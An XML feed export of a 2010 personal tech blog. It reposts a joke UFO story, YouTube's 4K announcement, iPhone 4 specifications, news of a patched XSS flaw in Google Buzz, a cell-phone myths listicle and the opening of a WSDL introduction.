<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-32442176</id><updated>2011-07-28T20:05:41.831-07:00</updated><title type='text'>ALL ABOUT THE BEST THINGS FROM WORLD WIDE WEB</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>59</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-32442176.post-6255903758347593303</id><published>2010-07-10T23:27:00.000-07:00</published><updated>2010-07-10T23:28:33.844-07:00</updated><title type='text'>UFO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ha ha ha ha ha ha</title><content type='html'>chinese-ufo.jpg&lt;br /&gt;&lt;br /&gt;Apparently air traffic control at Xiaoshan Airport in China spotted a UFO on radar and was forced to divert flights until E.T. phoned the f*** home.&lt;br /&gt;&lt;br /&gt;    Arcing over Zhejiang's provincial capital Hangzhou, the UFO appeared to glow with an eerie white light and left a bright trail in its wake.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Stunned witnesses reported seeing a comet-like fireball in the sky and a number of local residents took photos of the strange ball of light.&lt;br /&gt;&lt;br /&gt;    'The thing suddenly ran westwards fast, like it was escaping from something,' he said.&lt;br /&gt;&lt;br /&gt;Running from something is right. It's called US. "This planet is a shithole, lets GTFO and hit that titty bar." "The Milky Way?" "You know it, brotha -- high-tentacle!"&lt;br /&gt;&lt;br /&gt;Chinese airport closed after fiery UFO is spotted flying over city [dailymail]&lt;br /&gt;&lt;br /&gt;Thanks to Romeo, Jordan and Peter Pan &gt; Jiff, who would have PEWed that sucker out of sky, full-nelsoned those alien scumbags, and beat the secrets of the universe out of their bug-eyed brains&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-6255903758347593303?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/6255903758347593303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=6255903758347593303' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6255903758347593303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6255903758347593303'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/07/ufo-ha-ha-ha-ha-ha-ha.html' title='UFO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ha ha ha ha ha ha'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8871628835453812142</id><published>2010-07-10T23:20:00.000-07:00</published><updated>2010-07-10T23:21:38.079-07:00</updated><title type='text'>YOU-TUBE ORIGINAL</title><content type='html'>What's bigger than 1080p? 4K video comes to YouTube&lt;br /&gt;&lt;br /&gt;Today at the VidCon 2010 conference, we announced support for videos shot in 4K, meaning that now we support original video resolution from 360p all the way up to 4K. To give some perspective on the size of 4K, the ideal screen size for a 4K video is 25 feet; IMAX movies are projected through two 2k resolution projectors.&lt;br /&gt;&lt;br /&gt;We always want videos on YouTube to be available in the highest quality possible, as creators intend. In December of last year, we announced support for 1080p, or full HD. At 4096 x 2304 pixels, 4K is over four times the size of 1080p. To view any video in a source resolution greater than 1080p, select "Original" in the video quality pulldown menu:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To illustrate the power of 4K, please check out the videos in this playlist; each one was created by a filmmaker with access to a 4K camera. (Be warned: watching videos in 4K, even on YouTube, will require ultra-fast high-speed broadband connections).&lt;br /&gt;&lt;br /&gt;Because 4K represents the highest quality of video available, there are a few limitations that you should be aware of. First off, video cameras that shoot in 4K aren’t cheap, and projectors that show videos in 4K are typically the size of a small refrigerator. And, as we mentioned, watching these videos on YouTube will require super-fast broadband.&lt;br /&gt;&lt;br /&gt;We're excited about this latest step in the evolution of online video. We've been impressed by the 1080p videos you've uploaded over the last seven months and can't wait to see (in 4K!) what you do next.&lt;br /&gt;&lt;br /&gt;Ramesh Sarukkai, YouTube Engineer, recently watched "New Dad State of Mind."&lt;br /&gt;&lt;br /&gt;UPDATE (7/10/2010): Thanks to those of you who pointed out a few errors in the technical specifications in this post. We've corrected them and look forward to more of your feedback! &lt;br /&gt;&lt;br /&gt;-from  http://youtube-global.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8871628835453812142?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8871628835453812142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8871628835453812142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8871628835453812142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8871628835453812142'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/07/you-tube-original.html' title='YOU-TUBE ORIGINAL'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-3320919679898101575</id><published>2010-06-08T01:33:00.001-07:00</published><updated>2010-06-08T01:33:35.265-07:00</updated><title type='text'>APPLE IPHONE</title><content type='html'>Apple iPhone 4 is the next iPhone from Apple’s Cradle and we have listed down the full specification for the same and some interesting pictures also.It was expected only end of this year and they have come out with the release in june itself and will be available for sale on june 24th and its ready for pre order by june 15th. We will see the specifications now.&lt;br /&gt;iPhone 4 Specifications&lt;br /&gt;&gt;Retina Display with 326 pixels per inchpixels per inch and has 78% of the pixels on an iPadiPad&lt;br /&gt;&gt;960×640 pixels display&lt;br /&gt;&gt;3.5 inch&lt;br /&gt;&gt;9.3mm thickness&lt;br /&gt;&gt;Apple A4Apple A4 Chip&lt;br /&gt;&gt;upto 32GB internal memory&lt;br /&gt;&gt;microSIMmicroSIM Card&lt;br /&gt;&gt;Bigger Battery&lt;br /&gt;&gt;5 Megapixel Camera with LED Flash and 5x zoom and tap to focus&lt;br /&gt;&gt;HD video Recording&lt;br /&gt;&gt;Video Calling Camera&lt;br /&gt;&gt;WiFi (n)&lt;br /&gt;&gt;Video Editing with iMovie&lt;br /&gt;&gt;Bluetooth&lt;br /&gt;&gt;Quadband GSM / 3G / HSDPA/ HSUPAHSUPA&lt;br /&gt;&gt;7.2 Mbps download speeddownload speed , 5.8 Mbps upload&lt;br /&gt;&gt;Dual mic for noise suppressionnoise suppression&lt;br /&gt;&gt;GPS, Accelerometer, Compass&lt;br /&gt;&gt;Gyroscope&lt;br /&gt;&gt;Battery Life : 7 hours 3G talktime , 6 hours browsing, 10 hours WiFi, 40 hours of music, and 300 hours of standby&lt;br /&gt;&gt;runs on iOS4&lt;br /&gt;&gt;Uses glass for Scratch resistance&lt;br /&gt;They are Planning to sell this phone first in 5 countries which for sure doesn’t include India, but think it will be available in India by September or so which will be the time that all the telecom company will be ready with the 3G gun and everyone will like to sell iPhone at that time .But for sure it will be costly in India like any other iPhone.It will go on sale for 199$ in US for 16 GB and 299$ for 32 GB phone.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-3320919679898101575?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/3320919679898101575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=3320919679898101575' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3320919679898101575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3320919679898101575'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/06/apple-iphone.html' title='APPLE IPHONE'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4272780300330569586</id><published>2010-02-20T04:19:00.001-08:00</published><updated>2010-02-20T04:19:28.656-08:00</updated><title type='text'>XSS IN GOOGLE BUZZ</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;You may or may not have noticed, but I was on hiatus for a few days. As you’re probably aware (and I’m sure many of you celebrate) it was Chinese New Year on February 14th so I was offline for a few days taking a well deserved break.&lt;/p&gt; &lt;p&gt;I’d like to wish all of you that celebrate it a Happy Chinese New Year.&lt;/p&gt; &lt;p&gt;Anyway the big news during this period, especially in the whole social networking scene has been &lt;a href='http://www.google.com/buzz'&gt;Google Buzz&lt;/a&gt;. Is the next challenger to &lt;a href='http://www.darknet.org.uk/tag/twitter/'&gt;Twitter&lt;/a&gt; or Friendfeed or even &lt;a href='http://www.darknet.org.uk/tag/facebook/'&gt;Facebook&lt;/a&gt;? Personally I think not, but it sure has got people talking.&lt;/p&gt; &lt;p/&gt; &lt;blockquote&gt;&lt;p&gt;Google has fixed a cross-site scripting bug that allowed attackers to take control of Google Buzz accounts. The bug affects the mobile version of Buzz and was reported Feb. 16 by SecTheory CEO Robert Hansen. Google patched the vulnerability the same day. According to Hansen, news of the flaw was passed along to him by a hacker with the moniker of TrainReq.&lt;/p&gt; &lt;p&gt;“There [are] four things of note here,” Hansen blogged. “Firstly, it’s on Google’s domain, not some other domain like Google Gadgets or something. So, yes, it’s bad for phishing and for cookies. Secondly, it’s over SSL/TLS [Secure Sockets Layer/Transport Layer Security] (so no one should be able to see what’s going on, right?). Third, it could be used to hijack Google Buzz—as if anyone is using that product (or at least you shouldn’t be). And lastly, isn’t it ironic that Google is asking to know where I am on the very same page that’s being compromised?”&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;The news from the last few days included a &lt;a href='http://www.darknet.org.uk/tag/cross-site-scripting/'&gt;cross site scripting&lt;/a&gt; flaw in the mobile version of Google Buzz.&lt;/p&gt; &lt;p&gt;It was fixed promptly because the guy that discovered it was kind enough to tell Google about it.&lt;/p&gt; &lt;p&gt;As always though if something was discovered so quickly and reported so quickly how many more flaws are there being used by the bad guys out there.&lt;/p&gt; &lt;p/&gt; &lt;blockquote&gt;&lt;p&gt;Hansen was referring to the location feature in Buzz that shows where Buzz users are when they post. This feature can be turned off by the user.&lt;/p&gt; &lt;p&gt;“We have no indication that the vulnerability was actively abused,” a Google spokesperson said. “We understand the importance of our users’ security, and we are committed to further improving the security of Google Buzz.”&lt;/p&gt; &lt;p&gt;In the week since Buzz was launched Feb. 9, Google has faced criticism over privacy issues associated with the service. On Feb. 16, the Electronic Privacy Information Center filed a complaint with the Federal Trade Commission that charged Google with failing to protect users’ privacy. In an interview with eWEEK, Google Vice President of Product Management Bradley Horowitz said the company did not expect the negative response that Google Buzz received on the privacy issue.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;There was also a big outcry about privacy when Buzz was launched due the fact it automatically populates your following list with people you often converse with.&lt;/p&gt; &lt;p&gt;Imagine if you’d been hunting for a new job and talking to someone from a competitor and your boss saw it? Or a husband chatting with another woman and his wife saw who he was ‘following’? There are a lot of permutations, all of which are not good so use your imagination.&lt;/p&gt; &lt;p&gt;eWeek also did another article about the privacy concerns here – &lt;a href='http://www.eweek.com/c/a/Messaging-and-Collaboration/Google-Buzz-Privacy-Backlash-Not-Anticipated-Google-Says-212091/'&gt;Buzz Privacy Backlash&lt;/a&gt;.&lt;/p&gt; Source: &lt;a href='http://www.eweek.com/c/a/Security/Google-Patches-Buzz-Security-Vulnerability-471810/'&gt;eWeek&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=4133245e-302e-8565-866b-e05e1e900028' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4272780300330569586?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4272780300330569586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4272780300330569586' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4272780300330569586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4272780300330569586'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/xss-in-google-buzz.html' title='XSS IN GOOGLE BUZZ'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1904608486623806459</id><published>2010-02-19T21:24:00.001-08:00</published><updated>2010-02-19T21:24:43.311-08:00</updated><title type='text'>lucky or Unlucky??????????/</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Interesting article.............................&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href='http://www.telegraph.co.uk/technology/3304496/Be-lucky-its-an-easy-skill-to-learn.html'&gt;http://www.telegraph.co.uk/technology/3304496/Be-lucky-its-an-easy-skill-to-learn.html&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=b54ebfbd-5de6-825e-a66d-35585702a0cf' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1904608486623806459?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1904608486623806459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1904608486623806459' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1904608486623806459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1904608486623806459'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/lucky-or-unlucky.html' title='lucky or Unlucky??????????/'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4217992710914149329</id><published>2010-02-19T21:20:00.001-08:00</published><updated>2010-02-19T21:20:38.374-08:00</updated><title type='text'>Cell phone Myths</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;The internet is rife with rumors about the miracles of cellular technology, as well as the dangers.  Depending on who you believe you may be carrying around a miracle tool or a death trap in your pants and Lord knows that’s a lot of stress for one person to deal with.  Best to get to the bottom of things and separate truth from fiction.&lt;br/&gt;&lt;br/&gt;1. Your cell phone can unlock your car&lt;br/&gt;No one seems to know where this story came from, but it’s been circulated in a number of emails.  The basic idea is that you’re out and about and in your frenzy to get things done, you lock your keys in the car.  Crap.  But, being clever and knowing you have a spare set complete with keyless entry at home, you call home and have someone press the button on your spare set to unlock your car over the phone.  The signal goes through the phone, to your car and you’re driving again.  Now that’s crafty.&lt;br/&gt;http://www.youtube.com/watch?v=0bjQMzI9m5w&lt;br/&gt;So popular is this myth that the Mythbusters themselves had to test it.  Guess what they discovered… you’re going to be pointing your phone at your car for a long, long time.&lt;br/&gt;The problem is the phone uses an audio frequency while your keyless entry is on a much higher radio frequency.  Which is to say you’re dealing with apples and oranges and once that keyless frequency hits your cell phone, it’s not going to get translated through to the other side at the same frequency.  So no, you can’t unlock your car with your cell phone, unless you plan on using it to break a window.&lt;br/&gt;&lt;br/&gt;2. Cell phones cause gas pump explosions&lt;br/&gt;This winner has become so ingrained in our minds that gas stations actually have signs asking you to not use your phone while at the pumps for fear of a massive fireball of death and destruction, all because you needed to say goodnight to grandma.  But when’s the last time you saw this happen on the news?&lt;br/&gt;As it turns out, in the entire history of the entire world, there has never been an incident where someone blew themselves or any gas stations up with a cell phone.  It’s a complete fabrication.&lt;br/&gt;According to Snopes, the story just showed up one day in 1999.  And every time it got mentioned, they said the explosion happened somewhere else.  So basically it’s a friend of a friend story, only in this case the friend is an explosion, and no one’s ever seen it in person.&lt;br/&gt;The Cellular Telecommunications Industry Association and the American Petroleum Institute both agree that phones just don’t blow things up and they’ve never seen any evidence to suggest they do.  Any news reports that have attributed fires to the use of phones were later proved false when someone, you know, actually looked for the real cause.&lt;br/&gt;&lt;br/&gt;3. Cell phones cause deaths in hospitals&lt;br/&gt;Similar to no phones at the gas pumps, most hospitals have signs in place telling you to turn off your phone.  While some have phone use in designated areas which us regular folks assume must be lead shielded rooms or some such, other hospitals ban them altogether.  The fear is that cell phone signals may interfere with the machines being used to keep people alive.  There are even reports that the use of cell phones in hospitals has been a contributing factor in the death or serious injury to patients as a result of machines malfunctioning, delivering incorrect amounts of medication and so on.&lt;br/&gt;However, the FDA has no information whatsoever on cell phones causing any deaths in hospitals the FDA has no information whatsoever on cell phones causing any deaths in hospitals, nor has any medical journal mentioned it.  Reports that cell phone interference has caused incubators, heart monitors and IV pumps to go all wonky are the main cause behind the cell phone bans in hospitals, however the evidence for these is also sketchy.  Just what is it that would cause the problem, anyway?&lt;br/&gt;In 2007, the Mayo Clinic decided to do a study to see what the effect of cell phone interference was, so they used phones near 200 different pieces of hospital equipment.  The end result was that the observed no clinically important interference at all.&lt;br/&gt;So are you safe using a phone in a hospital?  Probably, just keep in mind that if they have signs up and you refuse to put the phone away, they can and will have security take you out.  In 1998, a man in Massachusetts was pepper sprayed for not hanging up.  Probably best just to leave a message and call back later.&lt;br/&gt;&lt;br/&gt;4. Cell phones cause cancer&lt;br/&gt;This is the biggest one you’re going to find online with the most confusing answers.  There are literally hundreds, if not thousands, of websites that will assure you that cell phone use leads to brain tumors.&lt;br/&gt;Dr Vini Khurana, a reputable neurosurgeon who trained at the Mayo Clinic, even wrote a paper back in 2008 that said cell phone usage caused more cancer than smoking or asbestos.  If you just said “holy crap” you’re well within you’re rights, as that’s a pretty damning statement.  But there is a but.&lt;br/&gt;According to the World Heath Organization, and more than 30 other scientific reviews, cell phones do not pose a cancer risk.  And, apparently, Dr. Khurana’s work had not even been peer reviewed when it was released.&lt;br/&gt;In a nutshell, cancer is caused by DNA mutations.  Some kind of radiation or chemical has to break down chemical bonds in our cells that lead to mutation.  But the radiation from a cell phone, the electromagnetic kind which is released by all kinds of electronics, is not strong enough to strip away electrons or break down chemical bonds, at least according to most scientists.  So cell phones just physically can’t cause cancer.   But why do people think they do?&lt;br/&gt;Nearly every study on the link between cancer and cell phone use takes the time to point out that will no link is found, the risk of long term use requires further study.  Meaning that we found nothing, but if we kept going for a few years, maybe we would.  And leaving the door open like that has let people who are primed and ready to panic over their ear growing a second head walk right in.&lt;br/&gt;&lt;br/&gt;5. Your cell phone can set you on Fire&lt;br/&gt;Probably one of the last things you want your phone to do is spontaneously combust, especially if it’s in your pocket or, you know, against your head.  For the most part we like to think there are hard working men and woman out there ensuring that the products we use from day to day just don’t do that.  And while most things are pretty safe, very few things are 100%&lt;br/&gt;Back in 2004, a teen in California was walking with her phone in her back pocket when, as witnesses say, it made a woosh sound, bulged a little, then spewed forth fist-sized flames.  The girl suffered 2nd degree burns.&lt;br/&gt;So how could such a nutty thing happen?  An overheated battery.  Kyocera issues a recall of 140,000 batteries and the Consumer Product Safety Commission has issued recalls as well for certain batteries that can short circuit, overheat and, yes, burst into flame.&lt;br/&gt;There have been other reported incident of phones bursting into flames while charging as well and though it’s rare, it actually can happen, though it seems to have been the result of poor quality batteries more than your phone angry at the poor grammar used in texting as you might think&lt;br/&gt;&lt;br/&gt;6. Your phone can spy on you&lt;br/&gt;This one has been a favorite of conspiracy nuts for the last few years, the idea that the government can tap into your phone and use it to track your whereabouts, or ever turn on the microphone and listen in on your conversations, whether or not you’re using the phone at that moment.&lt;br/&gt;In fact, it’s true that the FBI has used this technique, calling “roving bug” to eavesdrop on criminals, like in New York when it was used as a surveillance tool in an organized crime investigation.  Traditional wire tapping of land lines is a bit too old school and criminals are on to it, so the FBI had to adapt.  Since many phones will never fully power down unless the battery is totally removed, a cell phone is a perfect wireless transmitter for law enforcement to tap into, and it still falls under the purview of existing wiretapping laws.&lt;br/&gt;In other cases, though judges are have batted the attempts down due to a lack of probably cause, law enforcement has attempted to get access to information about cell phone use – locations of cell towers that took calls from individuals, strength and angle of signal and timing of calls, which would allow them to approximate the location of an individual.  You’ve seen it in television and movies before and, for all intents and purposes, it’s fairly accurate.  With access to cell company records, you could be tracked in real time based on your cell phone usage, or even just having the phone on and in your possession.&lt;br/&gt;&lt;br/&gt;7. Your cell phone can explode&lt;br/&gt;If you’re the kind of person who figures a cell phone fire is no big deal, you may be more inclined to be slightly nervous of cell phone explosions.  After all, fire can be our friend and let us roast weenies and such.  Explosions just suck, by and large.&lt;br/&gt;Back in 2007, word came out of Korea that a man who had his cell phone in his shirt pocket died when the phone blew up, sending shrapnel into his heart and lungs.  Last year in China, a man died shortly after changing his phone battery when the same thing happened.  It was the 9th recorded phone explosion in the country over a seven year period.&lt;br/&gt;In one incident, a man working in an iron mill died when it was determined that the heat of the mill caused the liquid in the battery to overheat and blow up.  So it may be rare, but it can happen.  Let that be a lesson to you, never expose your phone to molten metal.&lt;br/&gt;&lt;br/&gt;8. Cell phones cause infertility&lt;br/&gt;Potentially the most horrible rumor of all, at least for some people, is the one that says cell phones lower your sperm count.  And apparently it’s true.&lt;br/&gt;Research conducted at the Center for Reproductive Medicine at the Glickman Urological and Kidney Institute at the Cleveland Clinic in Ohio suggests that there’s a chance using a cell phone is bad news for your boys if you’re the hands free type who keeps the phone in your pocket. Long term exposure to all that electromagnetic radiation so close to the goods may lead to an increase in body temperature.  And that can effect sperm count as well as mobility and shape.&lt;br/&gt;The jury’s not out, of course, and odds are you need to be doing a lot of talking with the phone in your pocket, but probably to be on the safe side you could keep the phone over a couple of inches or two.  You never know&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=5484feed-9012-820a-9177-1d9be91355a6' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4217992710914149329?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4217992710914149329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4217992710914149329' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4217992710914149329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4217992710914149329'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/cell-phone-myths.html' title='Cell phone Myths'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-6654642198203007019</id><published>2010-02-16T11:10:00.001-08:00</published><updated>2010-02-16T11:10:47.814-08:00</updated><title type='text'>INTRODUCTION TO WSDL</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;span style='border-collapse: separate; color: rgb(0, 0, 0); font-family: &amp;apos;Times New Roman&amp;apos;; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; font-size: medium;' class='Apple-style-span'&gt;&lt;span style='text-align: left;' class='Apple-style-span'&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;In the past few years, a number of standards proposals have emerged in the past few years to provide a key piece of the XML middleware story:&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;networked service requests&lt;/i&gt;. These networked service requests are a way to request XML-related functionality from a remote machine over a network such as the Internet.)&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;This has led to a standards race including notable entries such as Allaire Corp's Web Distributed Data eXchange (WDDX) (see Resources), UserLand Inc's XML Remote Procedure Call (XML-RPC), Microsoft's Simple Object Access Protocol (SOAP) by David Winer, IBM, Microsoft, and others (see Resources). At the same time, some developers have even done quite well building applications over plain old HTTP. The biggest growth area for such XML-based networked services have been in content exchange and syndication.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Similarly, there have also been a number of proposals for defining the descriptions and structure of such content. Of these, the notable ones include Information Content Exchange (ICE) from Vignette Corp and its partners (see Resources), and the RDF (Resource Description Framework) Site Summary (RSS) from Netscape and its partners (see Resources). Many developers have also done very well using the common Internet standard of Multipurpose Internet Messaging Extensions (MIME).&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;There are many, many other XML protocol initiatives out there; enough so that the W3C's has a brand new XML Protocol Working Group just for addressing these issues (see Resources). It should be very interesting to watch the political sparks fly as the W3C tries to extract something coherent from this welter.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;In this bewildering array of ways to communicate between Web applications, a clear need has emerged for a mechanism to describe XML-based network services regardless of communications protocol and request structure. With such a mechanism many advanced Web development tasks could gain an additional measure of automation. For example:&lt;/p&gt;&lt;ul style='margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-right: 5px; padding-bottom: 5px; font-size: 0.76em;'&gt;&lt;li style='font-family: arial,sans-serif; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-right: 5px; padding-bottom: 3px;'&gt;Portal toolkits could provide a plug-in system for content sections to make it easier for designers to pick from a wide range of on-line services without delving into a lot of technical details.&lt;/li&gt;&lt;li style='font-family: arial,sans-serif; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-right: 5px; padding-bottom: 3px;'&gt;Industry groups and service brokers could publish comprehensive white pages and yellow pages of on-line XML services, allowing developers to make quick technological assessments and comparisons.&lt;/li&gt;&lt;li style='font-family: arial,sans-serif; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-right: 5px; padding-bottom: 3px;'&gt;Service providers could quickly publish updates and versions of their request structures in a standard format to help automate adoption by developers.&lt;/li&gt;&lt;/ul&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;IBM, Ariba, and Microsoft set out to craft just such a mechanism, and on September 25th emerged with the Web Services Description Language (WSDL) version 1.0 (see Resources). It is rather odd that this "1.0" spec was pretty much under wraps until then; thus the XML community was left with no chance at a public review before the release date. At any rate, WSDL is a format for describing networked XML services, filling a large portion of the need I described earlier.&lt;/p&gt;&lt;p style='margin: 0px; padding: 